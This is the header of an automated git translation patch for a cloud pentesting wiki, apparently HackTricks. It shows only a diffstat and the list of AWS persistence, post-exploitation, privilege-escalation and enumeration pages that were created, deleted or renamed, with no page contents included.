From 7a8e70c879925806eacf17a9a9ee12844f6c1e84 Mon Sep 17 00:00:00 2001
From: Translator <github-actions@github.com>
Date: Tue, 14 Oct 2025 01:57:38 +0000
Subject: [PATCH] Translated
 ['src/pentesting-cloud/aws-security/aws-unauthenticated-enum-

---
 .../aws-api-gateway-persistence.md            |  32 -
 .../aws-api-gateway-persistence/README.md     |  32 +
 .../aws-cloudformation-persistence.md         |  23 -
 .../aws-cloudformation-persistence/README.md  |  23 +
 .../aws-cognito-persistence.md                |  40 --
 .../aws-cognito-persistence/README.md         |  40 ++
 .../aws-dynamodb-persistence.md               |  59 --
 .../aws-dynamodb-persistence/README.md        |  59 ++
 .../aws-persistence/aws-ec2-persistence.md    |  54 --
 .../aws-ec2-persistence/README.md             |  62 ++
 .../README.md                                 |  75 +++
 .../aws-persistence/aws-ecr-persistence.md    |  91 ---
 .../aws-ecr-persistence/README.md             | 145 +++++
 .../aws-persistence/aws-ecs-persistence.md    |  93 ---
 .../aws-ecs-persistence/README.md             | 152 +++++
 .../aws-persistence/aws-efs-persistence.md    |  21 -
 .../aws-efs-persistence/README.md             |  21 +
 .../README.md}                                |  26 +-
 .../aws-persistence/aws-iam-persistence.md    |  47 --
 .../aws-iam-persistence/README.md             |  47 ++
 .../aws-persistence/aws-kms-persistence.md    |  37 --
 .../aws-kms-persistence/README.md             |  37 ++
 .../aws-lightsail-persistence.md              |  33 --
 .../aws-lightsail-persistence/README.md       |  33 ++
 .../README.md}                                |  12 +-
 .../aws-persistence/aws-s3-persistence.md     |  25 -
 .../aws-s3-persistence/README.md              |  25 +
 .../aws-sagemaker-persistence.md              | 158 -----
 .../aws-sagemaker-persistence/README.md       | 230 ++++++++
 .../aws-secrets-manager-persistence.md        |  51 --
 .../aws-secrets-manager-persistence/README.md | 234 ++++++++
 .../aws-persistence/aws-sns-persistence.md    |  77 ---
 .../aws-sns-persistence/README.md             | 113 ++++
 .../aws-persistence/aws-sqs-persistence.md    |  37 --
 .../aws-sqs-persistence/README.md             |  47 ++
 .../aws-sqs-dlq-backdoor-persistence.md       |  71 +++
 .../aws-sqs-orgid-policy-backdoor.md          |  38 ++
 .../aws-persistence/aws-ssm-persistence.md    |  27 -
 .../aws-ssm-persistence/README.md             |  27 +
 .../aws-step-functions-persistence.md         |  21 -
 .../aws-step-functions-persistence/README.md  |  21 +
 .../README.md}                                |  26 +-
 .../README.md}                                |  60 +-
 .../aws-cloudfront-post-exploitation.md       |  31 -
 .../README.md                                 |  31 +
 .../aws-control-tower-post-exploitation.md    |  18 -
 .../README.md                                 |  18 +
 .../aws-dlm-post-exploitation.md              |  91 ---
 .../aws-dlm-post-exploitation/README.md       |  91 +++
 .../README.md}                                | 108 ++--
 .../README.md                                 | 171 ++++--
 .../aws-ami-store-s3-exfiltration.md          | 137 +++++
 .../aws-ebs-multi-attach-data-theft.md        |  77 +++
 ...-ec2-instance-connect-endpoint-backdoor.md | 113 ++++
 .../aws-eip-hijack-impersonation.md           |  52 ++
 .../aws-eni-secondary-ip-hijack.md            |  50 ++
 .../aws-managed-prefix-list-backdoor.md       |  72 +++
 .../aws-vpc-endpoint-egress-bypass.md         |  68 +++
 ...pc-flow-logs-cross-account-exfiltration.md |  74 +++
 .../aws-ecr-post-exploitation.md              |  92 ---
 .../aws-ecr-post-exploitation/README.md       | 206 +++++++
 .../aws-ecs-post-exploitation.md              |  57 --
 .../aws-ecs-post-exploitation/README.md       | 126 ++++
 .../aws-efs-post-exploitation.md              |  46 --
 .../aws-efs-post-exploitation/README.md       |  46 ++
 .../aws-eks-post-exploitation.md              | 143 -----
 .../aws-eks-post-exploitation/README.md       | 143 +++++
 ...aws-elastic-beanstalk-post-exploitation.md |  70 ---
 .../README.md                                 |  70 +++
 .../aws-iam-post-exploitation.md              | 166 ------
 .../aws-iam-post-exploitation/README.md       | 166 ++++++
 .../aws-kms-post-exploitation.md              | 182 ------
 .../aws-kms-post-exploitation/README.md       | 182 ++++++
 .../aws-lightsail-post-exploitation.md        |  30 -
 .../aws-lightsail-post-exploitation/README.md |  30 +
 .../aws-organizations-post-exploitation.md    |  17 -
 .../README.md                                 |  17 +
 .../README.md}                                | 144 ++---
 .../aws-s3-post-exploitation.md               |  38 --
 .../aws-s3-post-exploitation/README.md        |  38 ++
 .../aws-sagemaker-post-exploitation/README.md | 179 ++++++
 .../feature-store-poisoning.md                |  50 ++
 .../aws-secrets-manager-post-exploitation.md  | 130 -----
 .../README.md                                 | 130 +++++
 .../README.md}                                |  22 +-
 .../aws-sns-post-exploitation.md              |  68 ---
 .../aws-sns-post-exploitation/README.md       |  82 +++
 .../aws-sns-data-protection-bypass.md         |  92 +++
 .../aws-sns-fifo-replay-exfil.md              | 100 ++++
 .../aws-sns-firehose-exfil.md                 |  76 +++
 .../aws-sqs-dlq-redrive-exfiltration.md       | 150 +++++
 .../aws-sqs-post-exploitation.md              |  73 ---
 .../aws-sqs-post-exploitation/README.md       |  83 +++
 .../aws-sqs-dlq-redrive-exfiltration.md       | 154 +++++
 .../aws-sqs-sns-injection.md                  |  54 ++
 .../README.md}                                |   6 +-
 .../aws-stepfunctions-post-exploitation.md    | 185 ------
 .../README.md                                 | 185 ++++++
 .../README.md}                                |  31 +-
 .../aws-vpn-post-exploitation.md              |  13 -
 .../aws-vpn-post-exploitation/README.md       |  13 +
 .../README.md}                                |  40 +-
 .../README.md}                                |  17 +-
 .../aws-chime-privesc.md                      |   9 -
 .../aws-chime-privesc/README.md               |   9 +
 .../README.md}                                |  56 +-
 .../aws-codepipeline-privesc.md               |  37 --
 .../aws-codepipeline-privesc/README.md        |  37 ++
 .../aws-cognito-privesc.md                    | 274 ---------
 .../aws-cognito-privesc/README.md             | 274 +++++++++
 .../aws-datapipeline-privesc.md               |  68 ---
 .../aws-datapipeline-privesc/README.md        |  68 +++
 .../aws-directory-services-privesc.md         |  32 -
 .../aws-directory-services-privesc/README.md  |  32 +
 .../aws-dynamodb-privesc.md                   |  72 ---
 .../aws-dynamodb-privesc/README.md            |  72 +++
 .../aws-ebs-privesc.md                        |  27 -
 .../aws-ebs-privesc/README.md                 |  27 +
 .../aws-ec2-privesc.md                        | 261 ---------
 .../aws-ec2-privesc/README.md                 | 300 ++++++++++
 .../aws-ecr-privesc.md                        | 100 ----
 .../aws-ecr-privesc/README.md                 | 268 +++++++++
 .../aws-ecs-privesc.md                        | 327 -----------
 .../aws-ecs-privesc/README.md                 | 550 ++++++++++++++++++
 .../aws-efs-privesc.md                        |  86 ---
 .../aws-efs-privesc/README.md                 |  86 +++
 .../README.md}                                |  32 +-
 .../aws-emr-privesc.md                        |  62 --
 .../aws-emr-privesc/README.md                 |  62 ++
 .../aws-privilege-escalation/aws-gamelift.md  |  16 -
 .../aws-gamelift/README.md                    |  16 +
 .../README.md}                                |  24 +-
 .../aws-iam-privesc.md                        | 231 --------
 .../aws-iam-privesc/README.md                 | 235 ++++++++
 .../README.md}                                |  28 +-
 .../README.md}                                | 110 ++--
 .../aws-lightsail-privesc.md                  | 136 -----
 .../aws-lightsail-privesc/README.md           | 136 +++++
 .../aws-macie-privesc.md                      |  38 --
 .../aws-macie-privesc/README.md               |  38 ++
 .../README.md}                                |   6 +-
 .../aws-mq-privesc.md                         |  43 --
 .../aws-mq-privesc/README.md                  |  43 ++
 .../aws-msk-privesc.md                        |  22 -
 .../aws-msk-privesc/README.md                 |  22 +
 .../aws-organizations-prinvesc.md             |  18 -
 .../aws-organizations-prinvesc/README.md      |  18 +
 .../aws-rds-privesc.md                        | 151 -----
 .../aws-rds-privesc/README.md                 | 151 +++++
 .../README.md}                                |  38 +-
 .../aws-s3-privesc.md                         | 186 ------
 .../aws-s3-privesc/README.md                  | 186 ++++++
 .../aws-sagemaker-privesc.md                  | 106 ----
 .../aws-sagemaker-privesc/README.md           | 259 +++++++++
 .../README.md}                                |  16 +-
 .../aws-sns-privesc.md                        |  37 --
 .../aws-sns-privesc/README.md                 |  80 +++
 .../aws-sqs-privesc.md                        |  40 --
 .../aws-sqs-privesc/README.md                 |  40 ++
 .../aws-ssm-privesc.md                        | 130 -----
 .../aws-ssm-privesc/README.md                 | 130 +++++
 .../README.md}                                |  40 +-
 .../aws-stepfunctions-privesc.md              | 231 --------
 .../aws-stepfunctions-privesc/README.md       | 231 ++++++++
 .../aws-sts-privesc.md                        | 136 -----
 .../aws-sts-privesc/README.md                 | 136 +++++
 .../README.md}                                |  24 +-
 .../README.md}                                |  14 +-
 ...acm-pca-issuecertificate-acm-pca-getcer.md |  32 -
 .../README.md                                 |  32 +
 .../README.md}                                |  12 +-
 .../aws-services/aws-sagemaker-enum/README.md | 202 +++++++
 .../aws-accounts-unauthenticated-enum.md      |  43 --
 .../README.md                                 |  43 ++
 .../aws-api-gateway-unauthenticated-enum.md   |  52 --
 .../README.md                                 |  53 ++
 .../aws-cloudfront-unauthenticated-enum.md    |   9 -
 .../README.md                                 |   9 +
 .../aws-codebuild-unauthenticated-access.md   |  33 --
 .../README.md                                 |  33 ++
 .../aws-cognito-unauthenticated-enum.md       |  44 --
 .../README.md                                 |  44 ++
 .../aws-documentdb-enum.md                    |   9 -
 .../aws-documentdb-enum/README.md             |   9 +
 .../aws-dynamodb-unauthenticated-access.md    |  15 -
 .../README.md                                 |  15 +
 .../aws-ec2-unauthenticated-enum.md           |  54 --
 .../aws-ec2-unauthenticated-enum/README.md    |  54 ++
 .../aws-ecr-unauthenticated-enum.md           |  30 -
 .../aws-ecr-unauthenticated-enum/README.md    |  30 +
 .../README.md}                                |  10 +-
 ...-elastic-beanstalk-unauthenticated-enum.md |  35 --
 .../README.md                                 |  35 ++
 .../README.md}                                |   6 +-
 .../aws-iam-and-sts-unauthenticated-enum.md   | 162 ------
 .../README.md                                 | 162 ++++++
 ...ity-center-and-sso-unauthenticated-enum.md | 123 ----
 .../README.md                                 | 123 ++++
 .../README.md}                                |   6 +-
 .../aws-kinesis-video-unauthenticated-enum.md |   9 -
 .../README.md                                 |   9 +
 .../aws-lambda-unauthenticated-access.md      |  20 -
 .../README.md                                 |  20 +
 .../README.md}                                |   6 +-
 .../aws-mq-unauthenticated-enum.md            |  20 -
 .../aws-mq-unauthenticated-enum/README.md     |  20 +
 .../aws-msk-unauthenticated-enum.md           |  16 -
 .../aws-msk-unauthenticated-enum/README.md    |  16 +
 .../README.md}                                |  14 +-
 .../aws-redshift-unauthenticated-enum.md      |   9 -
 .../README.md                                 |   9 +
 .../aws-s3-unauthenticated-enum.md            | 194 ------
 .../aws-s3-unauthenticated-enum/README.md     | 194 ++++++
 .../README.md                                 | 108 ++++
 .../aws-sns-unauthenticated-enum.md           |  21 -
 .../aws-sns-unauthenticated-enum/README.md    |  55 ++
 .../aws-sqs-unauthenticated-enum.md           |  21 -
 .../aws-sqs-unauthenticated-enum/README.md    |  21 +
 218 files changed, 10076 insertions(+), 6721 deletions(-)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md
 rename src/pentesting-cloud/aws-security/aws-persistence/{aws-elastic-beanstalk-persistence.md => aws-elastic-beanstalk-persistence/README.md} (56%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md
 rename src/pentesting-cloud/aws-security/aws-persistence/{aws-rds-persistence.md => aws-rds-persistence/README.md} (51%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md
 rename src/pentesting-cloud/aws-security/aws-persistence/{aws-sts-persistence.md => aws-sts-persistence/README.md} (65%)
 rename src/pentesting-cloud/aws-security/aws-post-exploitation/{aws-api-gateway-post-exploitation.md => aws-api-gateway-post-exploitation/README.md} (57%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md
 rename src/pentesting-cloud/aws-security/aws-post-exploitation/{aws-dynamodb-post-exploitation.md => aws-dynamodb-post-exploitation/README.md} (62%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md
 rename src/pentesting-cloud/aws-security/aws-post-exploitation/{aws-rds-post-exploitation.md => aws-rds-post-exploitation/README.md} (71%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md
 rename src/pentesting-cloud/aws-security/aws-post-exploitation/{aws-ses-post-exploitation.md => aws-ses-post-exploitation/README.md} (68%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md
 rename src/pentesting-cloud/aws-security/aws-post-exploitation/{aws-sso-and-identitystore-post-exploitation.md => aws-sso-and-identitystore-post-exploitation/README.md} (85%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md
 rename src/pentesting-cloud/aws-security/aws-post-exploitation/{aws-sts-post-exploitation.md => aws-sts-post-exploitation/README.md} (57%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-apigateway-privesc.md => aws-apigateway-privesc/README.md} (52%)
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-apprunner-privesc.md => aws-apprunner-privesc/README.md} (55%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-codebuild-privesc.md => aws-codebuild-privesc/README.md} (70%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-elastic-beanstalk-privesc.md => aws-elastic-beanstalk-privesc/README.md} (67%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-glue-privesc.md => aws-glue-privesc/README.md} (57%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-kms-privesc.md => aws-kms-privesc/README.md} (60%)
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-lambda-privesc.md => aws-lambda-privesc/README.md} (52%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-mediapackage-privesc.md => aws-mediapackage-privesc/README.md} (70%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-redshift-privesc.md => aws-redshift-privesc/README.md} (55%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-secrets-manager-privesc.md => aws-secrets-manager-privesc/README.md} (50%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-sso-and-identitystore-privesc.md => aws-sso-and-identitystore-privesc/README.md} (55%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-workdocs-privesc.md => aws-workdocs-privesc/README.md} (50%)
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{eventbridgescheduler-privesc.md => eventbridgescheduler-privesc/README.md} (60%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md
 rename src/pentesting-cloud/aws-security/aws-services/{aws-documentdb-enum.md => aws-documentdb-enum/README.md} (50%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md
